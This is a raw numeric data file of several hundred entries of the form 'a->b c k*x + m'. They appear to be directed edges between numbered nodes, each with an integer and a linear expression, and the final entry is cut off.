5->83 12 3469*x + 5828 96->17 104 58313*x + 1334 20->54 94 87313*x + 9306 20->68 36 51929*x + 7243 26->6 123 67607*x + 956 2->59 84 52889*x + 4052 24->89 107 89329*x + 13739 60->20 62 103511*x + 9046 61->26 81 63367*x + 5997 88->48 78 12541*x + 359 97->49 68 15679*x + 3326 71->45 13 5023*x + 2120 5->71 37 6911*x + 6464 98->96 67 96517*x + 14898 35->69 59 49639*x + 3056 92->54 94 27739*x + 5736 77->5 82 2311*x + 846 58->64 70 36913*x + 6187 50->42 87 57037*x + 6740 76->97 108 62903*x + 5833 39->4 48 46523*x + 2073 82->36 79 85133*x + 12977 1->51 97 51137*x + 3153 94->72 92 86587*x + 11380 48->89 107 17669*x + 4764 75->84 89 40883*x + 7105 7->56 119 101111*x + 14477 78->7 126 56123*x + 1343 63->76 124 80021*x + 5566 8->75 56 53653*x + 1942 70->63 60 2687*x + 4247 37->10 46 8629*x + 1237 95->54 94 68897*x + 1392 52->7 126 2251*x + 6548 80->14 77 83437*x + 133 74->68 36 11731*x + 5302 84->26 81 52181*x + 529 10->60 85 21613*x + 233 41->13 99 5261*x + 4676 57->73 102 4271*x + 6496 60->38 75 66107*x + 5682 98->53 120 6653*x + 6678 97->81 32 74219*x + 881 25->94 125 46511*x + 6681 50->59 84 28201*x + 867 93->7 126 30161*x + 5373 70->66 44 19541*x + 7004 84->37 114 65537*x + 6477 21->32 69 18583*x + 3258 13->81 32 11783*x + 4260 19->6 123 22153*x + 1679 40->45 13 34897*x + 5368 8->69 59 63299*x + 7475 54->72 92 59183*x + 2028 78->27 58 20129*x + 1701 53->53 120 54059*x + 3945 46->70 57 16007*x + 2256 39->81 32 16937*x + 4628 69->39 113 70687*x + 4765 56->72 92 72229*x + 4218 32->12 101 86491*x + 14989 60->15 63 3137*x + 3487 44->67 117 87523*x + 13328 98->12 101 3851*x + 5950 63->75 56 30781*x + 7546 22->83 12 58379*x + 3859 81->43 105 72139*x + 4716 74->38 75 89519*x + 14015 18->26 81 8123*x + 2155 37->47 90 39511*x + 163 12->16 66 39929*x + 599 67->49 68 69847*x + 1857 59->34 41 99391*x + 8244 18->48 78 823*x + 8012 25->78 76 76091*x + 339 6->76 124 78191*x + 4983 76->99 54 919*x + 4294 52->19 61 97549*x + 15509 5->64 70 7069*x + 2404 46->93 98 17551*x + 2232 7->33 122 10889*x + 6736 48->73 102 90001*x + 9307 19->48 78 19207*x + 5319 79->59 84 62983*x + 4674 92->91 91 9631*x + 7907 61->51 97 8263*x + 6742 64->13 99 48859*x + 160 70->74 55 7127*x + 7747 24->23 11 94483*x + 10963 0->41 73 43457*x + 4421 5->2 72 77237*x + 6231 32->16 66 80273*x + 5618 1->22 64 37253*x + 5166 14->18 80 93871*x + 12520 45->70 57 93427*x + 9356 89->52 42 14243*x + 6962 22->95 111 41641*x + 4866 7->53 120 82571*x + 3137 33->30 96 33911*x + 982 98->72 92 74707*x + 2276 9->0 33 27361*x + 1931 31->26 81 28183*x + 7828 44->15 63 83497*x + 419 64->63 60 5981*x + 487 37->30 96 76081*x + 7386 40->93 98 45599*x + 4275 20->78 76 33581*x + 6314 82->13 99 94561*x + 14963 67->58 35 36931*x + 5738 73->15 63 97171*x + 10179 89->35 88 53849*x + 5032 50->16 66 40867*x + 5595 98->8 49 36341*x + 4889 33->82 40 58901*x + 6185 53->42 87 3011*x + 4092 21->45 13 44647*x + 219 19->35 88 17987*x + 5349 75->77 106 12011*x + 4532 93->29 38 17681*x + 744 68->64 70 32497*x + 2769 54->70 57 5693*x + 7772 15->86 53 47293*x + 5190 75->21 9 41777*x + 6876 45->59 84 1049*x + 2561 83->26 81 24391*x + 2388 34->38 75 99689*x + 9289 56->84 89 20219*x + 760 8->45 13 20921*x + 1293 28->11 43 56509*x + 4722 40->95 111 2081*x + 4455 17->68 36 44119*x + 3542 26->76 124 53267*x + 623 15->84 89 55147*x + 7593 8->93 98 47977*x + 2749 56->67 117 69389*x + 6774 55->97 108 102359*x + 11671 31->0 33 56909*x + 1997 52->92 51 29207*x + 3491 46->75 56 34171*x + 1359 24->11 43 39113*x + 1986 92->60 85 72493*x + 2775 17->66 44 59167*x + 2974 8->73 102 47591*x + 3226 74->21 9 34457*x + 1133 94->94 125 14869*x + 2434 87->82 40 30271*x + 7446 37->3 118 12037*x + 1355 0->81 32 104119*x + 9887 57->45 13 78079*x + 2604 23->40 34 76379*x + 4925 39->69 59 71947*x + 6059 55->32 69 10093*x + 1864 93->10 46 93419*x + 13819 2->20 62 82163*x + 5429 28->55 39 16607*x + 6113 59->0 33 30689*x + 2053 95->38 75 78989*x + 7990 50->17 104 39631*x + 7930 35->51 97 41257*x + 6563 71->70 57 9859*x + 5151 1->34 41 55487*x + 3799 82->95 111 92107*x + 15969 30->77 106 30071*x + 4725 89->16 66 34687*x + 2923 24->24 65 16831*x + 997 16->77 106 81817*x + 2435 39->73 102 53479*x + 8048 85->92 51 78707*x + 1809 39->0 33 52813*x + 4710 40->2 72 33529*x + 7414 47->99 54 99607*x + 12436 92->45 13 59513*x + 6216 40->87 121 66293*x + 4685 13->93 98 14449*x + 2125 40->7 126 65141*x + 5309 61->4 48 73709*x + 5986 67->2 72 12703*x + 6809 44->27 58 34361*x + 7771 45->64 70 17377*x + 4870 42->15 63 21149*x + 1622 95->66 44 7013*x + 1465 84->31 47 38317*x + 5050 71->15 63 1439*x + 7461 72->94 125 12343*x + 1902 56->61 10 6091*x + 2632 56->15 63 90547*x + 12908 72->41 73 70177*x + 2993 75->97 108 77569*x + 5765 20->39 113 97397*x + 13821 57->81 32 6551*x + 3086 26->70 57 46559*x + 1496 37->56 119 13381*x + 5571 12->57 109 32009*x + 4089 99->98 93 86137*x + 10614 70->5 82 84421*x + 12628 86->38 75 95651*x + 10335 93->4 48 66029*x + 6190 31->58 35 47947*x + 3209 42->87 121 66959*x + 5743 90->9 115 71837*x + 3766 66->23 11 23251*x + 1521 12->82 40 17041*x + 3188 40->28 50 78889*x + 5234 97->14 77 36979*x + 5497 27->87 121 53597*x + 183 87->27 58 16787*x + 4525 22->63 60 104701*x + 8730 12->61 10 71719*x + 7112 27->57 109 102551*x + 14850 62->17 104 18503*x + 288 14->80 110 45121*x + 4191 84->78 76 91033*x + 11252 18->3 118 77647*x + 4225 51->62 103 19597*x + 3482 73->46 74 48761*x + 5514 76->56 119 48163*x + 4172 11->12 101 40823*x + 5808 96->73 102 18269*x + 2479 11->39 113 42359*x + 3347 39->59 84 81883*x + 2014 44->40 34 65147*x + 415 53->12 101 66067*x + 6135 1->40 34 72481*x + 6632 74->92 51 3539*x + 6238 54->49 68 88471*x + 8481 67->84 89 37951*x + 737 92->75 56 86017*x + 13174 61->5 82 63929*x + 6111 58->19 61 100129*x + 13469 14->49 68 52541*x + 964 2->83 12 74077*x + 7464 13->9 115 80749*x + 5838 26->54 94 11779*x + 7761 59->51 97 1489*x + 1207 69->71 37 46171*x + 2905 12->14 77 34721*x + 4671 47->25 52 37573*x + 4078 4->34 41 72277*x + 5510 50->27 58 92203*x + 14588 0->58 35 16301*x + 1573 1->49 68 2287*x + 4229 43->98 93 74317*x + 1404 66->36 79 75521*x + 4824 51->70 57 5189*x + 3165 34->22 64 22369*x + 3511 16->2 72 99083*x + 12009 60->61 10 65963*x + 3978 17->4 48 42487*x + 1318 59->77 106 82351*x + 1134 7->70 57 15173*x + 4987 66->39 113 44249*x + 6117 12->48 78 49043*x + 3131 59->40 34 56197*x + 3516 3->31 47 52919*x + 5075 78->46 74 97283*x + 11842 59->45 13 37567*x + 50 86->35 88 74567*x + 5132 14->3 118 100213*x + 11571 26->16 66 12601*x + 7869 3->59 84 30097*x + 7846 39->35 88 69653*x + 4025 28->51 97 16871*x + 4919 67->59 84 53939*x + 6103 36->37 114 64013*x + 2309 61->8 49 60497*x + 1546 36->9 115 76873*x + 2259 12->20 62 75337*x + 3018 47->12 101 8467*x + 3278 83->72 92 3061*x + 6408 57->7 126 1409*x + 2253 71->41 73 21649*x + 2002 26->74 55 32783*x + 3338 31->98 93 60611*x + 3958 77->74 55 32611*x + 6897 20->81 32 49807*x + 7954 65->88 71 60169*x + 7399 1->24 65 27409*x + 2209 75->56 119 38821*x + 1168 72->32 69 31963*x + 3282 45->60 85 38119*x + 6478 35->59 84 83243*x + 7941 29->89 107 39733*x + 41 4->20 62 24329*x + 3756 45->61 10 16361*x + 3390 56->3 118 103583*x + 12037 92->46 74 81371*x + 1336 37->16 66 104707*x + 15376 45->42 87 32191*x + 7483 47->98 93 23417*x + 2468 73->43 105 5443*x + 5097 73->48 78 7517*x + 8061 51->18 80 77899*x + 1346 6->50 116 50423*x + 2089 75->74 55 45013*x + 3504 17->1 112 14447*x + 7430 76->8 49 31799*x + 2280 4->15 63 10567*x + 4964 99->3 118 84313*x + 14060 92->30 96 51133*x + 950 11->46 74 17609*x + 4329 69->47 90 10301*x + 1763 3->43 105 14813*x + 7397 92->51 97 53959*x + 2982 81->84 89 35323*x + 2860 38->99 54 22549*x + 6285 49->17 104 91291*x + 10673 76->59 84 71861*x + 4636 12->7 126 93229*x + 14077 30->70 57 11587*x + 3553 3->14 77 102103*x + 12055 59->39 113 73039*x + 779 4->44 45 93113*x + 14083 69->78 76 45737*x + 6947 72->38 75 57089*x + 2802 71->64 70 78163*x + 168 2->9 115 36187*x + 6020 69->86 53 13933*x + 3808 40->31 47 5039*x + 2691 72->2 72 103141*x + 11686 34->49 68 70099*x + 7368 18->76 124 50147*x + 6030 91->12 101 3257*x + 4669 32->93 98 92399*x + 15968 53->84 89 93889*x + 11938 20->77 106 28961*x + 5858 44->56 119 48353*x + 5778 94->36 79 88801*x + 11137 76->31 47 82891*x + 4217 55->50 116 60091*x + 7570 29->17 104 11437*x + 4920 96->21 9 97511*x + 10723 32->14 77 41737*x + 5405 30->3 118 101209*x + 12786 88->28 50 16529*x + 5686 92->71 37 55061*x + 6525 8->0 33 42101*x + 2797 45->18 80 67927*x + 716 9->96 67 73607*x + 4962 50->33 122 43441*x + 4030 69->17 104 26921*x + 6901 64->36 79 83059*x + 4048 36->48 78 2399*x + 7674 45->53 120 77339*x + 7829 37->35 88 52069*x + 5058 67->98 93 96737*x + 15306 86->72 92 101429*x + 11594 62->29 38 94099*x + 9953 73->35 88 18911*x + 987 65->23 11 46829*x + 2912 69->88 71 60077*x + 2883 0->30 96 62119*x + 8167 14->44 45 6709*x + 1795 66->5 82 102673*x + 11354 72->58 35 35449*x + 5948 64->57 109 15749*x + 5918 2->3 118 69073*x + 4881 82->12 101 98809*x + 12326 60->51 97 89137*x + 10619 99->10 46 16229*x + 8043 58->42 87 70901*x + 1746 46->82 40 32369*x + 875 23->14 77 65761*x + 6307 80->81 32 70051*x + 7396 46->12 101 10837*x + 6377 50->98 93 66601*x + 799 12->24 65 101863*x + 14871 27->39 113 16963*x + 1477 72->83 12 3371*x + 3192 50->11 43 40427*x + 1095 46->2 72 86477*x + 8571 47->60 85 45853*x + 2878 19->23 11 91253*x + 12058 93->13 99 65239*x + 1224 17->65 95 7523*x + 1790 48->18 80 81869*x + 2449 56->28 50 53629*x + 749 78->51 97 39841*x + 743 92->56 119 71233*x + 3440 86->55 39 64567*x + 7056 76->38 75 56687*x + 3382 71->54 94 19801*x + 5577 71->10 46 48527*x + 6626 3->98 93 51169*x + 7758 68->40 34 77543*x + 6247 13->29 38 26371*x + 2687 6->35 88 74419*x + 6063 26->98 93 8861*x + 2302 58->18 80 84713*x + 12651 72->45 13 17707*x + 4035 44->75 56 63521*x + 1894 88->60 85 89567*x + 13577 52->59 84 7457*x + 8076 40->3 118 39499*x + 3501 95->11 43 64019*x + 5967 58->57 109 46861*x + 4023 60->85 83 76649*x + 6737 2->7 126 23011*x + 216 16->20 62 52379*x + 1921 7->42 87 43633*x + 2573 90->31 47 79561*x + 4289 94->82 40 709*x + 7805 35->53 120 49597*x + 3557 44->9 115 101921*x + 14642 68->83 12 81131*x + 4088 57->90 86 91303*x + 10572 1->56 119 14107*x + 1690 75->75 56 65171*x + 1164 91->68 36 6037*x + 360 1->39 113 32353*x + 6734 11->77 106 79559*x + 1286 41->58 35 62633*x + 5103 23->82 40 96601*x + 9695 88->82 40 103079*x + 11459 39->77 106 24781*x + 1620 20->86 53 47881*x + 3260 18->11 43 9431*x + 1166 13->19 61 38953*x + 2763 27->56 119 100109*x + 12094 97->24 65 14797*x + 3450 23->71 37 67757*x + 5867 7->79 100 11311*x + 376 47->28 50 43223*x + 3534 39->43 105 94421*x + 11666 97->75 56 50159*x + 6698 83->1 112 16651*x + 1840 93->34 41 1699*x + 5795 37->66 44 61933*x + 6349 25->26 81 68729*x + 2706 41->65 95 65899*x + 2216 96->67 117 89413*x + 12946 2->13 99 56747*x + 8153 90->82 40 91367*x + 15197 61->33 122 42859*x + 2266 82->46 74 29527*x + 1368 16->60 85 17483*x + 7841 31->64 70 91243*x + 13275 57->47 90 1481*x + 7979 9->90 86 100469*x + 14031 56->13 99 88811*x + 16213 73->63 60 491*x + 6984 20->88 71 68209*x + 8097 8->82 40 18553*x + 5085 32->96 67 73547*x + 218 45->97 108 19423*x + 3816 49->78 76 32831*x + 5414 58->46 74 54367*x + 3881 6->10 46 78041*x + 7081 70->39 113 23627*x + 6844 2->46 74 15061*x + 1725 98->80 110 10069*x + 4179 13->89 107 4513*x + 4610 51->22 64 85733*x + 9518 90->10 46 21661*x + 6385 13->85 83 33893*x + 2013 89->18 80 26029*x + 4852 39->66 44 78929*x + 1040 55->43 105 84827*x + 13098 76->61 10 50131*x + 5351 3->37 114 13883*x + 1331 22->66 44 4583*x + 6305 59->66 44 87719*x + 10078 27->65 95 11689*x + 4895 86->80 110 104693*x + 16236 81->47 90 81307*x + 6687 51->2 72 1873*x + 2267 40->88 71 88339*x + 12317 79->1 112 16111*x + 2654 66->6 123 86113*x + 8768 74->98 93 49603*x + 2885 46->37 114 78839*x + 4879 21->61 10 73483*x + 6094 64->50 116 36947*x + 61 44->2 72 31013*x + 3254 94->0 33 18059*x + 2686 89->54 94 98347*x + 9284 74->23 11 17327*x + 474 35->49 68 95369*x + 15044 66->95 111 83987*x + 2248 91->67 117 22123*x + 6583 6->12 101 5639*x + 453 2->4 48 43291*x + 4133 75->27 58 4021*x + 2093 16->51 97 33871*x + 4472 9->40 34 95731*x + 9097 8->25 52 92311*x + 13735 87->80 110 92627*x + 14839 76->14 77 85487*x + 10687 6->98 93 86599*x + 14156 32->3 118 36299*x + 7589 34->76 124 61837*x + 3242 69->54 94 16901*x + 7217 48->77 106 27809*x + 5823 87->22 64 78031*x + 3381 33->42 87 95419*x + 13868 79->15 63 39989*x + 952 77->45 13 98627*x + 8884 62->6 123 60449*x + 4390 63->68 36 84499*x + 15283 90->96 67 100483*x + 16317 95->60 85 3923*x + 7802 0->33 122 13171*x + 5398 92->40 34 31019*x + 6835 41->42 87 73597*x + 3294 34->75 56 15569*x + 1569 38->40 34 8111*x + 3528 93->99 54 14327*x + 2713 79->44 45 80701*x + 4814 6->85 83 18287*x + 5122 93->21 9 92809*x + 9808 96->35 88 24439*x + 7592 1->0 33 95189*x + 11484 7->44 45 18143*x + 725 92->57 109 28309*x + 4412 80->72 92 57977*x + 3567 14->37 114 20123*x + 2702 37->21 9 66733*x + 5199 5->43 105 11467*x + 3912 31->80 110 33287*x + 6709 74->63 60 79397*x + 4781 80->58 35 47317*x + 3729 10->11 43 49891*x + 5117 6->5 82 69809*x + 186 99->39 113 90931*x + 9577 83->7 126 97871*x + 11275 32->33 122 30403*x + 4792 24->16 66 8641*x + 4624 59->57 109 37847*x + 4656 94->54 94 21019*x + 4971 95->69 59 95471*x + 15730 92->77 106 43669*x + 882 99->24 65 6719*x + 2924 28->94 125 32441*x + 3579 4->0 33 99223*x + 10965 12->95 111 35279*x + 505 47->32 69 93811*x + 10716 31->35 88 54601*x + 6971 77->95 111 19087*x + 6270 1->87 121 102251*x + 8845 89->65 95 16573*x + 5993 99->71 37 87671*x + 13480 43->74 55 27299*x + 2113 60->97 108 44059*x + 1839 13->92 51 91387*x + 8566 25->4 48 10429*x + 2208 43->34 41 9397*x + 7795 50->2 72 79691*x + 7258 37->73 102 24851*x + 2903 67->63 60 16633*x + 7901 51->96 67 14051*x + 2569 24->78 76 39439*x + 1576 13->67 117 29483*x + 775 57->40 34 87181*x + 12870 21->52 42 55997*x + 5882 58->71 37 44699*x + 2570 27->30 96 14057*x + 112 27->32 69 95093*x + 11427 21->10 46 34123*x + 6766 42->56 119 38707*x + 1406 26->59 84 87509*x + 11897 28->52 42 7607*x + 4430 7->34 41 75787*x + 7498 41->48 78 68737*x + 3175 49->87 121 84653*x + 14636 70->38 75 76001*x + 615 81->57 109 50951*x + 7488 70->49 68 31123*x + 3792 3->53 120 77699*x + 2032 24->75 56 7177*x + 6946 4->33 122 68099*x + 2667 40->40 34 89051*x + 15358 64->7 126 87739*x + 9946 39->49 68 101977*x + 12912 84->62 103 563*x + 2486 91->93 98 85363*x + 10095 0->62 103 38371*x + 1822 42->77 106 487*x + 4334 47->27 58 68899*x + 187 45->58 35 2609*x + 2940 74->51 97 60521*x + 1633 35->65 95 97213*x + 10678 3->41 73 65419*x + 3919 67->77 106 85447*x + 9842 21->28 50 28297*x + 4942 71->4 48 75853*x + 1102 2->21 9 60773*x + 7269 9->1 112 65381*x + 572 77->97 108 49843*x + 8178 3->12 101 66403*x + 6115 18->23 11 40423*x + 5857 17->90 86 54377*x + 2704 90->1 112 33403*x + 7339 27->27 58 93701*x + 10766 57->62 103 95267*x + 11704 58->27 58 86161*x + 15547 44->70 57 31477*x + 1033 53->87 121 57331*x + 6733 20->96 67 48413*x + 7891 22->56 119 1657*x + 2332 50->9 115 89003*x + 13318 33->93 98 48157*x + 3999 9->70 57 72461*x + 7982 5->38 75 60811*x + 6804 45->80 110 21067*x + 3750 81->23 11 41263*x + 2100 62->20 62 52561*x + 3802 83->8 49 31357*x + 7948 98->13 99 1451*x + 6413 75->34 41 53639*x + 5286 47->29 38 50069*x + 3145 78->62 103 96779*x + 9561 5->77 106 61007*x + 6025 11->57 109 96329*x + 10712 12->2 72 12097*x + 7334 3->30 96 50047*x + 3795 6->53 120 26227*x + 4031 77->66 44 27191*x + 8094 51->88 71 2887*x + 3499 26->31 47 61703*x + 7249 54->55 39 58963*x + 1947 71->5 82 42349*x + 582 56->85 83 79039*x + 7395 0->34 41 54419*x + 4930 14->95 111 67979*x + 2594 27->28 50 66809*x + 161 2->60 85 48197*x + 4923 25->23 11 16657*x + 3005 37->40 34 59473*x + 1165 15->50 116 66841*x + 4705 43->64 70 11903*x + 618 3->6 123 14081*x + 5180 71->48 78 91967*x + 14490 37->18 80 91951*x + 9787 83->44 45 10627*x + 1410 6->21 9 5657*x + 6507 48->13 99 76597*x + 574 39->54 94 61651*x + 1623 6->63 60 36739*x + 4531 32->54 94 37057*x + 6297 6->24 65 36433*x + 1079 69->44 45 41399*x + 7743 62->50 116 62921*x + 5580 39->14 77 15083*x + 1375 36->16 66 45953*x + 33 77->61 10 8179*x + 5786 17->37 114 5987*x + 346 36->17 104 40879*x + 2823 67->75 56 100799*x + 13438 12->76 124 10859*x + 1109 12->71 37 87277*x + 11176 10->25 52 39451*x + 5241 92->31 47 3733*x + 7916 85->89 107 23629*x + 3600 54->33 122 8429*x + 7651 91->43 105 15307*x + 306 61->38 75 79633*x + 7171 88->18 80 35801*x + 4913 27->25 52 57493*x + 7943 88->88 71 42281*x + 3283 28->79 100 23537*x + 2380 4->55 39 44131*x + 3355 89->53 120 42509*x + 2004 14->68 36 4987*x + 6553 51->8 49 6199*x + 4312 25->71 37 24019*x + 6942 17->97 108 61681*x + 1722 56->12 101 3833*x + 1054 23->77 106 13291*x + 224 64->78 76 18427*x + 3176 52->66 44 97919*x + 14399 41->7 126 102059*x + 10929 93->68 36 78509*x + 1994 10->48 78 47569*x + 7020 11->62 103 4603*x + 3893 92->13 99 20887*x + 7150 89->93 98 65701*x + 2397 51->40 34 101879*x + 11578 38->55 39 83609*x + 3539 20->62 103 23563*x + 7121 68->26 81 35437*x + 1860 22->96 67 1607*x + 544 50->70 57 89209*x + 13086 14->75 56 32203*x + 2889 95->15 63 20143*x + 3715 72->51 97 67763*x + 5772 15->28 50 101653*x + 8330 58->96 67 76913*x + 4293 85->27 58 3581*x + 5284 30->7 126 97813*x + 9595 31->37 114 11483*x + 2195 4->76 124 12043*x + 4450 29->92 51 131*x + 2536 24->58 35 97879*x + 12041 55->19 61 38287*x + 7543 27->53 120 47287*x + 6359 4->73 102 95273*x + 10328 56->57 109 23039*x + 2059 8->88 71 73127*x + 1750 93->9 115 94933*x + 14982 41->86 53 74149*x + 3159 95->41 73 93053*x + 8319 13->63 60 89533*x + 12441 65->57 109 33049*x + 1685 71->40 34 68669*x + 1865 54->41 73 14407*x + 91 6->18 80 2087*x + 7774 40->60 85 22307*x + 6704 28->81 32 39883*x + 2819 92->74 55 19231*x + 801 93->89 107 751*x + 1507 26->7 126 41687*x + 7490 9->22 64 57373*x + 6302 12->67 117 30977*x + 6769 17->85 83 98443*x + 11908 6->73 102 23827*x + 6543 47->31 47 19753*x + 5447 2->98 93 20023*x + 538 55->85 83 72559*x + 3866 37->97 108 55171*x + 173 82->28 50 43691*x + 3797 77->17 104 32647*x + 5748 44->52 42 8377*x + 2824 93->87 121 33457*x + 2353 60->37 114 76561*x + 6017 82->76 124 61223*x + 620 45->41 73 46061*x + 4066 96->57 109 15647*x + 683 86->34 41 29921*x + 6822 55->15 63 16411*x + 5954 79->97 108 60703*x + 5363 64->48 78 93683*x + 8605 25->0 33 8117*x + 397 97->56 119 34253*x + 5744 18->67 117 92347*x + 9779 79->3 118 83557*x + 2005 72->72 92 96979*x + 12103 29->47 90 13553*x + 7517 29->78 76 94169*x + 12445 92->47 90 104021*x + 15475 40->55 39 103231*x + 9775 82->40 34 103919*x + 11053 2->36 79 89203*x + 10872 16->42 87 44641*x + 1760 9->93 98 46451*x + 3045 60->64 70 93169*x + 9321 34->4 48 15377*x + 3361 63->79 100 39769*x + 2920 76->70 57 86453*x + 15562 42->36 79 57073*x + 2756 11->17 104 31531*x + 6875 58->43 105 28229*x + 3109 15->45 13 50023*x + 5098 56->32 69 36929*x + 5136 60->14 77 102299*x + 15979 22->14 77 22741*x + 825 89->77 106 69427*x + 5713 40->20 62 94427*x + 15225 38->14 77 60779*x + 5386 55->55 39 95107*x + 12743 59->15 63 7411*x + 7639 17->76 124 19843*x + 7523 15->75 56 63073*x + 5550 18->86 53 10111*x + 5477 40->76 124 31607*x + 3087 69->15 63 61363*x + 6171 72->1 112 24733*x + 6435 82->57 109 12041*x + 4335 42->64 70 23209*x + 203 32->18 80 93139*x + 15537 33->15 63 77557*x + 647 2->17 104 71317*x + 4528 3->34 41 101173*x + 9800 12->77 106 7297*x + 2595 94->53 120 76829*x + 4059 2->72 92 101363*x + 14341 5->45 13 63397*x + 7355 5->22 64 31039*x + 4520 15->60 85 74891*x + 7422 51->35 88 15889*x + 2552 86->39 113 16487*x + 7474 93->84 89 16843*x + 5879 62->40 34 11701*x + 6178 5->46 74 53*x + 1291 50->25 52 18301*x + 7080 3->99 54 60337*x + 7410 68->46 74 103979*x + 11151 89->58 35 10463*x + 5690 62->0 33 84467*x + 14227 16->5 82 83537*x + 3705 53->71 37 96589*x + 12942 87->15 63 8581*x + 990 37->11 43 32371*x + 286 66->13 99 16943*x + 2447 69->23 11 12323*x + 1088 54->42 87 12511*x + 1563 6->4 48 34039*x + 7119 11->97 108 49537*x + 8108 83->91 91 80621*x + 1125 42->50 116 21059*x + 3015 35->37 114 92581*x + 14295 45->93 98 36263*x + 4634 30->55 39 9871*x + 7192 44->33 122 6703*x + 4694 7->68 36 51287*x + 1557 27->7 126 24799*x + 7293 1->2 72 80149*x + 6521 67->48 78 5897*x + 451 22->74 55 76907*x + 1634 48->78 76 75431*x + 5486 86->51 97 23167*x + 5542 90->15 63 73471*x + 7082 92->26 81 78511*x + 6381 15->18 80 54443*x + 2684 69->55 39 1213*x + 8116 92->52 42 9521*x + 1325 44->17 104 54629*x + 1055 39->25 52 19301*x + 7632 99->15 63 8963*x + 6405 25->97 108 22433*x + 2476 76->90 86 44089*x + 2126 29->27 58 11657*x + 4905 15->25 52 34667*x + 845 58->90 86 45817*x + 4121 41->1 112 42017*x + 459 68->20 62 24481*x + 6226 43->85 83 12409*x + 400 91->46 74 42323*x + 7108 62->47 90 28687*x + 6128 90->65 95 57527*x + 7718 76->64 70 85517*x + 11147 54->38 75 7993*x + 7431 74->47 90 56713*x + 4924 42->68 36 94463*x + 13151 36->42 87 1117*x + 7029 30->98 93 19051*x + 7060 89->34 41 38713*x + 3118 40->22 64 42953*x + 630 89->24 65 24413*x + 2678 61->0 33 90017*x + 11781 48->2 72 79627*x + 2455 58->16 66 8807*x + 3269 11->61 10 103591*x + 10238 55->88 71 67433*x + 2193 7->31 47 47681*x + 7991 12->55 39 62591*x + 4489 80->74 55 18913*x + 244 55->86 53 33997*x + 2347 90->14 77 4967*x + 6985 33->70 57 85103*x + 8761 19->28 50 78007*x + 1072 70->31 47 74377*x + 6367 43->94 125 23333*x + 3648 7->83 12 104513*x + 15317 78->16 66 9967*x + 6498 39->95 111 20297*x + 2236 84->10 46 3659*x + 2861 99->21 9 15511*x + 2933 88->96 67 16421*x + 1657 90->88 71 102647*x + 12400 4->7 126 43607*x + 6048 65->58 35 13109*x + 1498 32->79 100 3637*x + 684 72->98 93 10631*x + 7801 47->79 100 103069*x + 12296 18->73 102 9587*x + 1624 30->12 101 25367*x + 184 53->61 10 36943*x + 3480 14->88 71 47207*x + 5307 33->46 74 6047*x + 3 83->83 12 65071*x + 4253 72->77 106 29399*x + 4068 60->54 94 26479*x + 8096 78->13 99 101203*x + 9086 2->33 122 91079*x + 12982 50->37 114 30431*x + 6396 30->89 107 101839*x + 12211 85->87 121 52453*x + 4952 52->48 78 45007*x + 5958 8->32 69 20113*x + 4561 39->18 80 82997*x + 2174 31->50 116 8933*x + 6890 61->40 34 61613*x + 7487 50->82 40 30539*x + 7190 72->29 38 79279*x + 411 50->14 77 93083*x + 11351 93->59 84 1483*x + 2539 88->49 68 11969*x + 4372 32->74 55 66041*x + 283 81->22 64 38047*x + 2491 15->94 125 59467*x + 4912 31->82 40 100537*x + 11945 45->96 67 84053*x + 13669 11->85 83 11597*x + 5982 70->28 50 21001*x + 6759 12->79 100 47809*x + 5688 27->69 59 24197*x + 3150 17->51 97 43721*x + 2119 20->99 54 99611*x + 11919 98->41 73 21169*x + 4485 79->10 46 51637*x + 930 35->98 93 8423*x + 7181 39->89 107 45361*x + 6554 29->8 49 100927*x + 8779 36->88 71 263*x + 6045 22->27 58 17713*x + 6527 42->82 40 59999*x + 311 62->67 117 102811*x + 11724 68->53 120 104623*x + 12278 97->87 121 3413*x + 7695 28->20 62 48247*x + 8119 66->85 83 77713*x + 2227 26->68 36 93629*x + 13486 67->12 101 15331*x + 2538 19->90 86 92761*x + 11725 18->63 60 95947*x + 15528 18->74 55 35897*x + 4318 56->0 33 87511*x + 8489 42->31 47 37967*x + 4806 11->41 73 78467*x + 3468 34->48 78 37489*x + 5632 12->5 82 60397*x + 4105 2->41 73 101789*x + 11049 29->71 37 71941*x + 5292 59->33 122 92177*x + 16041 21->25 52 35023*x + 3666 92->41 73 24967*x + 790 0->85 83 48563*x + 3100 67->29 38 73121*x + 2204 23->66 44 22291*x + 362 23->47 90 76031*x + 6675 90->32 69 62981*x + 7 86->25 52 65167*x + 6613 58->56 119 84737*x + 8934 93->20 62 80657*x + 6799 3->68 36 34781*x + 621 90->34 41 78791*x + 8123 99->34 41 35381*x + 1481 98->6 123 7829*x + 5091 32->77 106 50227*x + 949 3->5 82 48407*x + 7316 46->39 113 15817*x + 5892 32->85 83 25997*x + 4698 85->73 102 74759*x + 1683 71->77 106 101081*x + 15096 63->16 66 42943*x + 1927 46->6 123 44623*x + 511 84->34 41 29147*x + 6614 94->55 39 17123*x + 6116 6->6 123 79*x + 5245 85->20 62 28493*x + 2358 30->2 72 25841*x + 6158 85->31 47 98467*x + 13111 36->51 97 47123*x + 6201 61->99 54 45233*x + 3932 94->89 107 88747*x + 9981 71->24 65 65729*x + 7412 60->98 93 86297*x + 11554 35->73 102 93481*x + 14376 74->3 118 94151*x + 14753 64->43 105 85087*x + 10633 41->20 62 24919*x + 4410 90->69 59 27551*x + 7842 5->13 99 91939*x + 13768 23->45 13 103091*x + 8237 0->48 78 7393*x + 6686 11->35 88 70207*x + 3926 14->46 74 40609*x + 5503 4->90 86 28879*x + 691 50->3 118 89849*x + 10120 99->57 109 87427*x + 12829 99->65 95 37717*x + 4904 80->41 73 4297*x + 4435 17->70 57 103889*x + 13705 74->81 32 39097*x + 7649 77->77 106 40507*x + 7265 65->17 104 25127*x + 1397 61->80 110 88729*x + 10068 0->8 49 65183*x + 4516 11->86 53 75527*x + 2535 76->25 52 70501*x + 3822 25->30 96 30763*x + 3203 81->49 68 100829*x + 10442 53->33 122 23431*x + 4588 33->59 84 60719*x + 8150 1->97 108 79841*x + 8029 70->47 90 14207*x + 2342 41->4 48 28979*x + 5697 95->42 87 28619*x + 5841 96->29 38 27581*x + 2809 23->46 74 13567*x + 755 44->3 118 12577*x + 7495 29->86 53 51949*x + 898 53->8 49 38711*x + 1800 13->43 105 76543*x + 1519 34->44 45 463*x + 3960 80->75 56 26881*x + 3574 13->69 59 17519*x + 6112 35->9 115 18181*x + 1925 57->9 115 87149*x + 10298 96->85 83 100297*x + 8632 15->88 71 83*x + 4835 69->53 120 14713*x + 8006 12->80 110 9601*x + 4309 31->33 122 50741*x + 732 97->2 72 100019*x + 9748 6->33 122 101963*x + 9873 91->16 66 9049*x + 1190 95->26 81 62057*x + 748 12->62 103 